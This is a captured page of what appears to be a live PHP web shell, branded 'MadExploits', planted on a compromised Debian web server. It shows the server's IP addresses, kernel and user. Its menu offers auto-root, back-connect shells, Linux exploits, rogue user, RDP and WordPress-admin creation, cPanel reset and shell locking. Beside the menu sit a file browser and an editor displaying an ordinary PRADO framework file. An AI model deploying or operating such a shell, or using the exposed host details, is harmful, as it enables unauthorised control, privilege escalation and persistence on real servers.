Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
Apache/2.4.59 (Debian)
: 10.2.73.233 | : 18.188.62.10
Cant Read [ /etc/named.conf ]
5.6.40-64+0~20230107.71+debian10~1.gbp673146
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
ifk /
web /
prado4.3.2 /
Web /
Services /
[ HOME SHELL ]
Name
Size
Permission
Action
IFeedContentProvider.php
1.32
KB
-rw-r--r--
TFeedService.php
4.33
KB
-rw-r--r--
TJsonResponse.php
1.19
KB
-rw-r--r--
TJsonRpcProtocol.php
4.42
KB
-rw-r--r--
TJsonService.php
4.66
KB
-rw-r--r--
TPageConfiguration.php
12.35
KB
-rw-r--r--
TPageService.php
19.1
KB
-rw-r--r--
TRpcApiProvider.php
2.34
KB
-rw-r--r--
TRpcException.php
640
B
-rw-r--r--
TRpcProtocol.php
2.61
KB
-rw-r--r--
TRpcServer.php
1.72
KB
-rw-r--r--
TRpcService.php
6.21
KB
-rw-r--r--
TSoapServer.php
8.4
KB
-rw-r--r--
TSoapService.php
9.04
KB
-rw-r--r--
TXmlRpcProtocol.php
2.63
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : TXmlRpcProtocol.php
<?php /** * @author Robin J. Rogge <rrogge@bigpoint.net> * @link https://github.com/pradosoft/prado * @license https://github.com/pradosoft/prado/blob/master/LICENSE * @since 3.2 */ namespace Prado\Web\Services; use Prado\Exceptions\THttpException; /** * TXmlRpcProtocol class * * TXmlRpcProtocol is a class that implements XML-Rpc protocol in {@link TRpcService}. * It's basically a wrapper to the xmlrpc_server_* family of php methods. * * @author Robin J. Rogge <rrogge@bigpoint.net> * @since 3.2 */ class TXmlRpcProtocol extends TRpcProtocol { /** * @var mixed XML RPC server resource */ private $_xmlrpcServer; // magics /** * Constructor */ public function __construct() { $this->_xmlrpcServer = xmlrpc_server_create(); } /** * Destructor */ public function __destruct() { xmlrpc_server_destroy($this->_xmlrpcServer); } // methods /** * Registers a new RPC method and handler details * @param string $methodName * @param array $methodDetails Details containing the callback handler */ public function addMethod($methodName, $methodDetails) { parent::addMethod($methodName, $methodDetails); xmlrpc_server_register_method($this->_xmlrpcServer, $methodName, [$this, 'callApiMethod']); } // methods /** * Handles the RPC request * @param string $requestPayload $requestPayload * @return string XML RPC response */ public function callMethod($requestPayload) { try { return xmlrpc_server_call_method($this->_xmlrpcServer, $requestPayload, null); } catch (TRpcException $e) { return $this->createErrorResponse($e); } catch (THttpException $e) { throw $e; } catch (\Exception $e) { return $this->createErrorResponse(new TRpcException('An internal error occured')); } } /** * Turns the given exception into an XML RPC fault * @param TRpcException $exception * @return string XML RPC fault */ public function createErrorResponse(TRpcException $exception) { return $this->encode([ 'faultCode' => $exception->getCode(), 'faultString' => $exception->getMessage() ]); } /** * Sets the correct response headers * @param \Prado\Web\THttpResponse $response */ public function createResponseHeaders($response) { $response->setContentType('text/xml'); $response->setCharset('UTF-8'); } /** * Decodes XML encoded data into PHP data * @param string $data $data in XML format * @return array PHP data */ public function decode($data) { return xmlrpc_decode($data); } /** * Encodes PHP data into XML data * @param mixed $data PHP data * @return string XML encoded PHP data */ public function encode($data) { return xmlrpc_encode($data); } }
Close